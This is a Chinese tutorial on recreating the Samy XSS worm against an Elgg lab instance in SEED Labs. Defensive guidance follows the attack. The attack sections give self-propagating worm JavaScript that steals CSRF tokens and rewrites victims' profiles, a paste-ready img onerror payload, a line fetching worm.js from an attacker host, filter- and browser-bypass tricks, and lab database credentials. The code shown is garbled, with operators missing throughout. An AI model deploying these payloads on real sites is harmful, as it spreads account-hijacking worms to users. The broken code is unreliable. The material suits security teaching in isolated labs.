
1. 项目概述为什么我们要复现一个“古老”的蠕虫如果你对Web安全感兴趣或者正在学习渗透测试那么“Samy蠕虫”这个名字你一定不陌生。它被誉为Web安全史上最具影响力的攻击之一在2005年一位名叫Samy Kamkar的黑客仅用几行JavaScript代码就在当时如日中天的MySpace社交网络上掀起了一场风暴在短短24小时内感染了超过100万个用户主页。这个案例之所以经典不仅在于其破坏力更在于它完美地展示了跨站脚本攻击XSS从理论到大规模自动化传播的完整链条。今天我们不是要去做坏事而是抱着学习和研究的目的在一个安全的实验环境——Elgg开源社交平台上完整地复现一次类似的XSS蠕虫攻击。你可能会问一个近二十年前的攻击在今天还有复现的价值吗答案是肯定的。XSS攻击的本质——浏览器信任并执行来自不可信源的脚本——至今未变。现代Web应用虽然防御手段如CSP、严格的输入输出过滤更加成熟但XSS漏洞依然在OWASP Top 10中常年占据高位。通过亲手复现Samy蠕虫你能够最直观地理解一个看似简单的脚本注入如何通过社交关系链像病毒一样指数级扩散攻击载荷如何巧妙地绕过简单的过滤以及防御者应该如何从架构和代码层面进行布防。这远比阅读枯燥的理论文档要深刻得多。本次实战将在SEED Labs提供的Ubuntu虚拟机环境中进行目标平台是Elgg 1.8.8。这是一个专为安全教学设计的、包含已知漏洞的旧版本。请务必记住所有操作仅限于此封闭的实验室环境。我们的目标是掌握攻击原理与防御思想绝不可在未经授权的真实网站上进行任何测试。接下来我将带你从环境搭建开始一步步拆解蠕虫的构造逻辑并最终看到它如何在Elgg社区中“活”起来。2. 实验环境搭建与目标解析2.1 为什么选择SEED Labs和Elgg工欲善其事必先利其器。选择一个合适且安全的实验环境是第一步。我强烈推荐使用SEED Labs 2.0提供的Ubuntu虚拟机镜像。原因有三第一它预配置了所有必要的服务Apache, PHP, Elgg, 数据库省去了繁琐的安装配置过程让你能专注于攻击原理本身。第二它是一个完全隔离的本地环境所有网络流量都在虚拟机内部不会对外界造成任何影响符合安全研究的伦理规范。第三SEED Labs配套的实验指导非常详尽虽然我们这篇文章会走得更深、更实战但它的环境为我们提供了完美的起跑线。我们的攻击目标是Elgg一个开源社交网络引擎。选择它是因为其架构和功能与当年的MySpace有相似之处用户个人主页、好友系统、动态流Activity Stream、以及允许一定程度的HTML/JS内容输入如个人简介。Elgg 1.8.8版本故意保留了一些经典的安全漏洞特别是未对用户输入进行充分过滤和转义这为我们复现XSS攻击创造了条件。在实验环境中我们已经预设了多个用户账号如Alice, Boby, Charlie等他们互为好友模拟了一个真实的微型社交网络。2.2 核心漏洞点定位攻击的入口在哪里在发动攻击前我们必须像攻击者一样思考哪里是注入代码的最佳入口在Elgg中用户能控制输入并最终展示给其他用户的地方都是潜在的XSS漏洞点。经过审计我们发现以下几个关键位置个人简介Profile Description这是最直接的地方。Elgg允许用户编辑一段关于自己的文本并支持有限的HTML标签。如果过滤不严这里可以直接插入脚本。“关于我”About Me字段类似个人简介可能是一个独立的输入框。动态Activity或博客评论用户发布的内容或评论如果能够嵌入脚本则能看到这条动态的所有好友都会中招。我们的攻击策略将选择个人简介作为初始感染载体。原因在于个人简介通常显示在用户的个人主页上任何访问该主页的人都会自动执行其中的恶意脚本。这比需要特定交互如点击评论的触发方式更为直接和可靠。注意在实际的漏洞挖掘中我们需要测试每个输入点。例如尝试输入scriptalert(XSS)/script或img srcx onerroralert(1)来验证过滤机制。在Elgg实验环境中我们可以提前知道某些过滤可以被绕过这节省了我们模糊测试的时间让我们更专注于蠕虫逻辑的构建。3. XSS蠕虫的核心原理与代码拆解3.1 从反射型XSS到存储型XSS蠕虫的生存基础XSS主要分为三类反射型、存储型和DOM型。Samy蠕虫利用的是存储型XSS。理解这三者的区别对构建蠕虫至关重要反射型XSS恶意脚本作为请求参数如URL中的?qscript...发送到服务器服务器将其直接“反射”回响应页面中执行。它通常需要诱骗用户点击一个特制的链接。这种攻击是一次性的难以大规模自动传播。存储型XSS恶意脚本被永久地存储到服务器端如数据库、文件系统当其他用户访问包含该数据的页面时脚本会自动执行。这正是蠕虫的理想载体。一旦一个用户被感染他的个人主页就成为了一个“毒源”所有访问者都会自动中招。DOM型XSS漏洞存在于前端JavaScript代码中恶意数据在客户端被不安全的DOM操作所执行不经过服务器端。其利用方式更复杂但同样可以用于高级攻击。我们的蠕虫依赖于存储型XSS。攻击者我们首先在自己的个人简介中植入恶意代码。当受害者如Bob访问攻击者的主页时嵌入的脚本会在Bob的浏览器中执行。这段脚本的终极目的是让Bob也在他自己的个人简介中写入同样的恶意代码从而完成一次“感染”。如此循环蠕虫便传播开来。3.2 Samy蠕虫的经典传播逻辑剖析原版Samy蠕虫的代码非常精妙它主要做了以下几件事我们将这个逻辑移植到Elgg平台身份窃取获取CSRF Token在Elgg中任何修改个人资料的POST请求都需要一个名为__elgg_token和__elgg_ts的CSRF令牌和时间戳以防止跨站请求伪造。蠕虫代码首先要做的就是以当前受害者的身份从页面源码中提取出这些令牌。它通过XMLHttpRequest或Fetch API请求自己的个人主页然后用正则表达式从HTML响应中抓取这些值。自我复制构造感染请求拿到令牌后蠕虫需要构造一个POST请求修改受害者Bob的个人简介。这个请求的正文中就包含了蠕虫代码本身。这里有一个关键技巧如何将蠕虫代码本身作为数据发送出去原版Samy蠕虫使用了一个巧妙的技巧它通过eval函数执行一个由代码字符串构成的函数而这个函数的toString()方法返回的就是自身的源代码。这样蠕虫就能轻松地“克隆”自己。传播触发谁会被感染最初的Samy蠕虫设定为只有访问者即受害者是Samy的好友时才会被感染。这增加了隐蔽性。在我们的复现中为了简化并观察效果我们可以让脚本感染所有访问者。但在更复杂的版本中我们同样可以加入条件判断例如只感染非管理员用户。隐蔽性处理避免重复感染与检测好的蠕虫需要避免在同一个用户身上重复执行造成资源浪费或引起用户警觉。通常的做法是在感染前检查受害者的个人简介中是否已经包含了蠕虫的特征字符串例如一个特殊的标记如果已存在则不再执行感染操作。3.3 完整蠕虫代码逐行解析下面是我们为Elgg平台适配的XSS蠕虫核心JavaScript代码。我将它嵌入到一个图片的onerror事件中这是一种常见的绕过简单script标签过滤的手法。// 注意以下代码仅为教学演示请在隔离的SEED Labs环境中使用。 // 实际代码需要经过URL编码后嵌入到HTML属性中。 // 核心感染函数 function infect() { // 步骤1获取当前用户的Elgg CSRF令牌和时间戳 // 通过AJAX请求当前用户的编辑页面从中提取令牌 var ajax new XMLHttpRequest(); ajax.open(\GET\, \/elgg/profile/\ elgg.session.user.username \/edit\, false); ajax.send(); var tokenResponse ajax.responseText; // 使用正则表达式提取 __elgg_token 和 __elgg_ts var tokenMatch tokenResponse.match(/name\__elgg_token\ value\([^\]*)\/); var tsMatch tokenResponse.match(/name\__elgg_ts\ value\([^\]*)\/); if (!tokenMatch || !tsMatch) return; // 提取失败则中止 var csrfToken tokenMatch[1]; var csrfTs tsMatch[1]; // 步骤2检查是否已被感染避免重复操作 var checkAjax new XMLHttpRequest(); checkAjax.open(\GET\, \/elgg/profile/\ elgg.session.user.username, false); checkAjax.send(); if (checkAjax.responseText.indexOf(\WORM_MARKER\) ! -1) { return; // 已感染退出 } // 步骤3构造要注入的蠕虫代码本身。 // 这里我们将整个infect函数转化为字符串作为payload的一部分。 // 为了简洁我们用一个标记和函数调用代替完整的自复制逻辑。 var wormCode \img srcx onerrorjavascript:var sdocument.createElement(\\\script\\\);s.src\\\http://attacker-server.com/worm.js?\\\Date.now();document.body.appendChild(s); /\; // 在实际复杂版本中wormCode就是这段代码本身需要精巧的构造。 // 步骤4构造POST请求数据修改受害者的个人简介 var postData \__elgg_token\ encodeURIComponent(csrfToken) \__elgg_ts\ encodeURIComponent(csrfTs) \description\ encodeURIComponent(\I\ve been infected! \ wormCode \ !-- WORM_MARKER --\); // 步骤5发送感染请求 var infectAjax new XMLHttpRequest(); infectAjax.open(\POST\, \/elgg/action/profile/edit\, false); infectAjax.setRequestHeader(\Content-Type\, \application/x-www-form-urlencoded\); infectAjax.send(postData); } // 自动执行感染函数 // 可以添加条件例如只感染非特定用户 if (elgg.session.user elgg.session.user.username ! \admin\) { setTimeout(infect, 1500); // 延迟执行增加隐蔽性 }代码关键点解析XMLHttpRequest与同步请求代码中使用了XMLHttpRequest并设置open方法的第三个参数为false表示发起同步请求。这在现代前端开发中已被弃用因为它会阻塞页面但对于蠕虫这种“一次性”任务来说同步请求能确保步骤顺序执行先取令牌再检查最后感染逻辑更简单可靠。正则表达式提取从HTML中提取令牌是典型的数据抓取操作。正则表达式/name\__elgg_token\ value\([^\]*)\/用于匹配形如input name\__elgg_token\ value\abc123\ /的标签并捕获value的值。感染标记WORM_MARKER我们在注入的描述末尾添加了HTML注释!-- WORM_MARKER --。在检查感染状态时只需搜索页面中是否存在此标记即可。这是一种轻量且有效的去重机制。encodeURIComponent在构造POST数据时必须对参数值进行URL编码确保特殊字符如,, 空格不会破坏数据格式。延迟执行使用setTimeout(infect, 1500)延迟1.5秒执行可以让页面主体加载完成避免因DOM未就绪而导致脚本执行失败同时也让攻击行为不那么“显眼”。实操心得绕过过滤的实战技巧Elgg或其他平台可能会对输入进行过滤例如移除script标签或onerror属性。我们的代码将JS放在img的onerror里这本身就是一种绕过。更高级的绕过技巧包括使用Unicode或HTML实体编码例如将写成\u003c或lt;寄希望于前端展示时会解码但后端存储时未过滤。利用合法的HTML标签属性如a href\javascript:alert(1)\或者使用svgscript.../script/svg。拆分与拼接将关键词拆散如script在JS中拼接后执行。 在实战复现时你需要根据目标平台的实际过滤规则像解谜一样调整你的Payload。SEED Labs中的Elgg版本过滤较弱我们的onerror方案可以直接生效。4. 实战复现一步步让蠕虫“活”起来4.1 环境初始化与攻击者视角准备首先启动你的SEED Labs Ubuntu虚拟机并确保Elgg服务运行正常。通过浏览器访问http://www.seed-server.com/elgg。使用以下预设账号登录攻击者我们使用samy/seedelgg受害者例如alice/seedalice,boby/seedboby登录samy账号后进入个人资料编辑页面。找到“个人简介”或“描述”字段。这就是我们的攻击入口。4.2 构造并注入恶意载荷我们不能直接将上面那段包含函数和逻辑的代码粘贴进去因为输入框可能会过滤或截断。我们需要将它压缩、编码并巧妙地嵌入到一个HTML标签的事件属性中。以下是经过处理的、可直接用于注入的Payloadimg srcx onerror var anew XMLHttpRequest(); a.open(\GET\,\/elgg/profile/\elgg.session.user.username\/edit\,false); a.send(); var ta.responseText.match(/name\__elgg_token\ value\([^\]*)\/)[1]; var sa.responseText.match(/name\__elgg_ts\ value\([^\]*)\/)[1]; var cnew XMLHttpRequest(); c.open(\GET\,\/elgg/profile/\elgg.session.user.username,false); c.send(); if(c.responseText.indexOf(\WORM_MARKER\)!-1) return; var p\__elgg_token\encodeURIComponent(t)\__elgg_ts\encodeURIComponent(s)\description\encodeURIComponent(\Hacked by Samy Worm! img srcx onerror\\\String(infect)\\\ !-- WORM_MARKER --\); var dnew XMLHttpRequest(); d.open(\POST\,\/elgg/action/profile/edit\,false); d.setRequestHeader(\Content-Type\,\application/x-www-form-urlencoded\); d.send(p); /注入步骤以samy身份登录进入编辑资料页面。在“个人简介”文本框中将上述Payload完整粘贴进去。保存资料。此时访问samy个人主页的源代码你应该能看到我们注入的img标签。其src\x\是一个无效地址因此图片加载失败立即触发onerror事件中的JavaScript代码。4.3 观察传播蠕虫的感染链现在退出samy的账号登录受害者账号alice。让alice访问http://www.seed-server.com/elgg/profile/samy即攻击者的主页。页面加载的瞬间alice浏览器会执行samy个人简介中的恶意脚本。该脚本会以alice的身份悄无声息地向Elgg服务器发送一个POST请求将蠕虫代码写入alice自己的个人简介中。你可以立即退出alice登录boby然后让boby访问alice的主页。你会发现boby也被感染了。如何验证感染成功方法一前端查看被感染用户的个人主页源代码搜索“WORM_MARKER”或“Hacked by Samy Worm!”字样。方法二后端在SEED Labs虚拟机中直接查看Elgg数据库。Elgg的用户数据通常存储在MySQL数据库的elgg_users_entity或相关metadata表中。你可以登录MySQL查找对应用户的description字段内容。# 在虚拟机终端中 mysql -u root -p # 密码通常是seedubuntu use elgg; select name, description from elgg_users_entity where namealice;如果看到description字段包含我们的恶意代码说明感染成功。这个过程清晰地演示了存储型XSS蠕虫的传播模型一次注入自动传播指数增长。如果Elgg平台有成千上万的活跃用户且好友关系复杂这个蠕虫可以在极短的时间内感染大部分用户。5. 从攻击到防御深度理解与防护方案复现攻击不是为了炫技终极目的是为了构建更坚固的防御。通过亲手实现一次攻击你应该对以下防御策略的重要性有了刻骨铭心的理解。5.1 根本性防御输入输出与编码严格的输入验证与过滤原则对待所有用户输入都视为不可信的。做法在服务器端对输入进行严格的“白名单”验证。对于个人简介这类需要富文本的字段可以使用专业的HTML净化库如PHP的HTMLPurifierPython的bleachJava的Jsoup。这些库只允许安全的标签和属性通过并彻底剥离任何脚本内容。Elgg漏洞根源旧版本可能只是简单使用strip_tags()或自定义的正则表达式过滤很容易被绕过。例如strip_tags()可能无法处理img onerror这种形式。必须使用经过实战检验的净化库。上下文相关的输出编码原则数据在输出到不同上下文HTML、JavaScript、CSS、URL时必须进行相应的编码。做法输出到HTML正文使用htmlspecialchars($string, ENT_QUOTES, UTF-8)PHP或类似函数将,,,\,转换为HTML实体。输出到HTML属性同样使用htmlspecialchars并确保属性值用引号括起来。我们的蠕虫正是利用了未加引号的属性虽然现代浏览器有一定容错但这是坏习惯和未编码的事件处理器内容。输出到JavaScript绝不能直接将用户输入拼接进script标签或事件处理器里。应使用JSON.encode()将数据序列化或通过textContent属性安全地设置DOM节点内容。5.2 关键性缓解内容安全策略与Cookie安全内容安全策略是什么CSP是一个HTTP响应头它告诉浏览器哪些外部资源脚本、样式、图片、字体等可以被加载和执行。如何防XSS通过设置script-src self可以禁止加载和执行任何内联脚本包括onerror属性以及来自非当前域的外联脚本。这能直接扼杀我们这种img onerror和通过createElement(script)动态加载的攻击。示例HeaderContent-Security-Policy: default-src self; script-src self https://trusted.cdn.com; object-src none;这个策略只允许执行来自同源和trusted.cdn.com的脚本禁止内联脚本也禁止Flash等对象。HttpOnly Cookie作用我们的蠕虫代码通过JavaScript发送AJAX请求这些请求会自动携带用户的会话Cookie。如果将会话Cookie标记为HttpOnlyJavaScriptdocument.cookie将无法读取它。这虽然不能阻止伪造请求因为浏览器仍会自动发送但能增加攻击者窃取Cookie的难度防止会话劫持。设置方法在服务器设置Cookie时添加HttpOnly标志。5.3 针对性防护对抗XSS蠕虫的特殊措施针对蠕虫的自我复制和传播特性可以采取额外措施CSRF令牌机制Elgg已经使用了CSRF令牌这是非常好的实践。它要求每个状态变更的请求都必须携带一个随机的、与用户会话绑定的令牌。这增加了蠕虫编写的难度因为攻击者必须先从页面中窃取令牌正如我们代码中所做。确保令牌足够随机、一次性使用或短时间有效并且验证逻辑严密。用户行为分析与速率限制异常检测一个正常用户短时间内频繁修改个人资料是可疑行为。服务器可以监控此类模式。速率限制对“编辑资料”这类API接口实施严格的速率限制例如每分钟最多5次。这能极大延缓蠕虫的传播速度为人工干预争取时间。关键操作二次认证对于修改个人资料、发布内容等操作可以要求输入密码或进行二次验证但这会牺牲用户体验需权衡使用。6. 常见问题与排查实录在复现过程中你可能会遇到以下问题。这里记录了我的排查思路和解决方法问题1注入Payload后访问攻击者主页没有任何反应浏览器控制台也没有报错。排查思路检查Payload语法首先确认你粘贴的Payload没有因为复制产生换行符或引号不匹配的问题。复杂的JS代码在HTML属性中很容易出错。可以先用一个简单的onerror\alert(1)\测试漏洞是否存在。查看页面源码右键查看攻击者主页源代码确认你注入的img标签是否完整存在onerror属性里的代码是否被截断或HTML实体编码。检查Elgg过滤Elgg可能对onerror等事件属性进行了过滤。尝试其他向量如svgscriptalert(1)/script/svg或a href\javascript:alert(1)\click/a。检查CSP在浏览器开发者工具的Network标签中查看页面响应头是否包含Content-Security-Policy。如果有严格的CSP会阻止内联脚本执行。问题2蠕虫脚本执行了但无法成功感染其他用户即其他用户的简介未被修改。排查思路检查CSRF令牌提取这是最常见的问题。在蠕虫代码中增加调试信息例如用alert(token)或console.log输出提取到的__elgg_token和__elgg_ts看是否为空或错误。检查AJAX请求的URL和方式确保请求的URL路径/elgg/action/profile/edit是正确的。不同版本的Elgg路径可能不同。使用开发者工具的Network标签观察当你在网页上正常编辑资料时浏览器发送的POST请求详情并模仿它。检查会话状态确保受害者用户是已登录状态。我们的蠕虫代码依赖于elgg.session.user对象。如果该对象不存在或为空说明用户未登录或会话已过期脚本会静默失败。检查服务器响应在Network标签中查看蠕虫发送的POST请求的响应状态码。如果是403可能是CSRF令牌验证失败如果是404是URL错误如果是200但操作未成功查看响应内容可能包含错误信息。问题3感染成功但新注入的代码无法再次触发传播链中断。排查思路检查代码自复制的完整性这是最棘手的部分。确保蠕虫在构造新Payload时能够正确地将其自身的完整代码包括所有引号转义作为字符串嵌入。原版Samy蠕虫使用function.caller或arguments.callee.toString()来获取自身源码但这些方法在现代JS严格模式下可能受限。我们示例中使用String(infect)是一种简化。在复杂实现中可能需要将核心代码写在一个变量里然后引用这个变量。检查HTML编码问题服务器在存储和再次输出用户简介时可能会对某些字符进行HTML编码如变成lt;导致第二次渲染时onerror里的代码不再是可执行的JavaScript而是纯文本。你需要调整Payload使其在经历一次编码后仍然能被正确解析。问题4在真实浏览器中测试但现代浏览器的XSS审计器阻止了攻击。原因与解决Chrome等浏览器的内置XSS过滤器XSS Auditor现已逐步被CSP取代可能会拦截一些反射型XSS。对于存储型XSS它也可能在检测到请求参数与响应内容中的脚本高度匹配时进行拦截。方法一在测试时可以暂时关闭浏览器的XSS过滤功能通过启动参数但不推荐。方法二优化Payload使其更具混淆性避免从URL到页面内容的简单反射匹配。例如使用JS动态解码、拆分字符串等方式。最重要的启示这恰恰说明了不能依赖客户端防护。浏览器厂商在努力但攻击技术也在进化。防御必须立足于服务器端。复现这样一个完整的攻击链遇到的每一个错误都是宝贵的学习机会。它强迫你去理解HTTP请求/响应的每一个细节、JavaScript的执行环境、浏览器的安全机制以及服务器的处理逻辑。当你最终看到蠕虫在实验环境中自动传播开来时你对XSS威胁的认知将不再是理论上的而是具体、深刻且令人警醒的。这正是动手实践的价值所在。